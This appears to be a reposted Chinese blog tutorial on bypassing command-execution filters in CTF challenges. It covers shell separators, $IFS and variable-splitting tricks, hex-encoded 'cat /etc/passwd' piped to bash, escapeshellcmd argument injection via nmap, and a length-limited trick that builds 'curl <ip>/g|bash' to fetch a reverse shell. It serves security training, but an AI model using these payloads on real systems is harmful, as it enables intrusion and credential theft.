小编给大家分享一下如何实现CTF中命令执行绕过方法,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!仅供参考学习使用命令执行绕过通过php的危险函数执行需要的命令简单例题在ping ip后利用linux的命令分割符分割,可以执行任意命令通过php的可变变量也能进行命令执行类似于:${cmd}
或者$$a
,$a可控为{cmd}linux大部分命令放置在/bin或者/sbin目录下,无法执行可以考虑使用/bin/cat
等命令;
用;号隔开每个命令, 每个命令按照从左到右的顺序,顺序执行, 彼此之间不关心是否失败,所有命令都会执行。&
后台执行&&
命令之间使用 && 连接,实现逻辑与的功能。只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才会被执行。只要有一个命令返回假(命令返回值 $? == 1),后面的命令就不会被执行。|
命令A|命令B,即命令A的正确输出作为命令B的操作对象例如: ps aux | grep “test” 在 ps aux中的結果中查找test。||
命令之间使用 || 连接,实现逻辑或的功能。只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才会被执行。%0a、%0d
Win:%1a
system()shell_exec()eval()asssert()exec()preg_replace()call_user_func()passthru()pctml_exec()popen()proc_open()反引号命令执行(反引号相当于shell_exec())如果命令注入的网站过滤了某些分割符,可以将分隔符编码后(url编码,base64等)绕过$(printf "154163")//ls命令
这个编码后可以拼接
例题:覆盖写原来定时执行,用来清除进程的detect.py,直接get root权限echo "636174202F6574632F706173737764" | xxd -r -p|bash
linux内置分隔符${IFS},$IFS,$IFS$9
对于 >,+ 等 符号的过滤 ,$PS2
变量为>,$PS4
变量则为+通过拆分命令达到绕过的效果a=l;b=s;$a$b
空变量绕过cat fl${x}ag
cat tes$(z)t/flag
控制环境变量绕过$PATH => "/usr/local/….blablabla”
${PATH:0:1} => '/'
${PATH:1:1} => 'u'
${PATH:0:4} => '/usr'
空值绕过cat fl""ag
cat fl''ag
cat "fl""ag"
反斜杠绕过cat flag
ls
$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:wh$1oami
who$@ami
whoa$*mi
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}
来执行系统命令{cat,flag}
可以通过curl命令将命令的结果输出到访问的url中在服务器日志中可看到这样,命令的回显就能在日志中看到了无回显的情况下wget带出escapeshellarg()escapeshellarg ( string$arg
) : stringescapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。例子escapeshellcmd()escapeshellcmd ( string$command
) : stringescapeshellcmd()对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()或 system()函数,或者 执行操作符之前进行转义。反斜线()会在以下字符之前插入: *`|*?~^()[]{}$*, x0A和 xFF。 ‘和 “仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %和 !字符都会被空格代替。使用escapeshellarg()
的本意是避免参数注入,但是如果在此基础上又使用了escapeshellcmd()
,反而又会造成参数注入例子:这时候我们只能扫描一个ip地址,无法增加参数-oN/-oX/-oG:
将报告写入文件,格式分别为正常(自定义.txt),XML,grepable.但是如果多了个escapeshellcmd可以写入一句话注意要两遍都加单引号,否则写入的文件名或者其他的地方会有奇怪的错误参考题目来自:https://www.jianshu.com/p/a77e956d9941p神教程:https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html题目:hitcon2017的babyfirst,hgame2020代打出题人服务中心假设我们一次只能执行长度为5的命令linux命令执行的时候可以使用反斜杠换行bash脚本中同样适用上面的规则可以用文件名加反斜杠构成命令,使用ls -t > o 将文件名输出到文件,使用bash o执行脚本ls默认是按照ascii码由小到大排序的如果想要控制文件的排序,我们可以使用ls -t
ls -t是按照文件创建时间排序的将ls -t
输出到文件这样我们就可以先利用反斜杠将我们要执行的命令分隔开,在利用ls-t将命令分隔后的文件名写入到一个文件里,再使用bash执行这个脚本构造ls -t
有了ls -t
作为跳板,我们就可以写入其他的命令了为了方便,我们可以利用curl从我们的vps上下载脚本,反弹shell。这样我们只需要构造curl 47.100.120.123/g|bash
vps上为了更方便,我们可以把vps的ip数字化http://www.msxindl.com/t免费云主机域名ools/ip/ip_num.asp795113595所以要构造的payload就变成了curl 795113595/g|bash
我vps用的宝塔,宝塔我没搞出来怎么支持纯数字ip。。。以上是“如何实现CTF中命令执行绕过方法”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注云编程开发博客行业资讯频道!
如何从XSS漏洞到CSRF利用实现账户劫持,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。前不久在HackerOne上参加了一个漏洞众测邀请项目,目标测试应用(系统)的功能是为一些企业托管相关服…
免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。